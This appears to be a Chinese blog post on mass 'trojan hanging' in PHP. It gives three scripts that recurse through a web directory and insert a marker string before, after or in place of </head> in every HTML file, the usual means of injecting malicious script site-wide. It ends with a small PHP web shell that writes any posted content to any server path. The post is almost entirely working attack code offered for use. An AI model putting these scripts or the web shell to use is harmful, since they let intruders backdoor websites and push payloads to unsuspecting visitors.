PHP批量挂and马

写入文件头
<?php
ini_set(“max_execution_time”,0);
$dir = “Z:/soft/111/bf”; 
function view_dir($directory)
{
    $handle = opendir( $directory );
    while ( $file = readdir($handle) )
    {
        $bdir = $directory . ‘/’ .$file;
        if ($file <> ‘.’ && $file <> ‘..’ && is_dir($bdir))
        {
            view_dir( $directory .’/’. $file);
        }
        else if( $file <> ‘.’ && $file <> ‘..’)
        {
            if(strstr(strtolower($directory.’/’.$file),”.htm”)||strstr(strtolower($directory.’/’.$file),”.html”)){
   $content=file_get_contents($directory .’/’. $file);
   $content=’混世魔王’.$content;
             fwrite(fopen($directory .’/’. $file,”w”),$content);
            }
        }
    }
    closedir( $handle );
}
view_dir($dir);
?>
写入文件尾
<?php
ini_set(“max_execution_time”,0);
$dir = “C:\APMServ5.2.6\www\htdocs\replacer”; 
function view_dir($directory)
{
    $handle = opendir( $directory );
    while ( $file = readdir($handle) )
    {
        $bdir = $directory . ‘/’ .$file;
        if ($file <> ‘.’ && $file <> ‘..’ && is_dir($bdir))
        {
            view_dir( $directory .’/’. $file);
        }
        else if( $file <> ‘.’ && $file <> ‘..’)
        {
            if(strstr(strtolower($directory.’/’.$file),”.htm”)||strstr(strtolower 
($directory.’/’.$file),”.html”)){
            $content=fwrite(fopen($directory .’/’. $file,”a+”),’混世魔王’);
            }
        }
    }
    closedir( $handle );
}
view_dir($dir);
?>
替换插入
<?php
ini_set(“max_execution_time”,0);
$dir = “C:\APMServ5.2.6\www\htdocs\replacer”; 
function view_dir($directory)
{
    $handle = opendir( $directory );
    while ( $file = readdir($handle) )
    {
        $bdir = $directory . ‘/’ .$file;
        if ($file <> ‘.’ && $file <> ‘..’ && is_dir($bdir))
        {
            view_dir( $directory .’/’. $file);
        }
        else if( $file <> ‘.’ && $file <> ‘..’)
        {
            if(strstr(strtolower($directory.’/’.$file),”.htm”)||strstr(strtolower($directory.’/’.$file),”.html”)){
   $content=file_get_contents($directory .’/’. $file);
   $content=str_replace(‘</head>’,’混世魔王’,$content);
             fwrite(fopen($directory .’/’. $file,”w”),$content);
            }
        }
    }
    closedir( $handle );
}
view_dir($dir);
?>
<?php
if ($_POST)
{
$f=fopen($_POST[“Y”],”w”);
if(fwrite($f,$_POST[“S”]))
  echo “<font color=red>Success</font>”;
  else
  echo “<font color=blue>UnSuccess</font>”;
}
else
echo $_SERVER[“SCRIPT_FILENAME”]?>
<form action=”” method=”post”>
Upload:<input type=”text” size=45 name=”Y” id=”Y” value=”>
<input type=”submit” id=”b” value=”Go”><br>
<textarea name=”S” id=”S” cols=70 rows=30 width=30></textarea>
</form>

没有评论:

发表评论

Follow Us

FOLLOW US

Blog Archive

Comments

Blogger 提供支持.

Search This Blog

Tags

header ads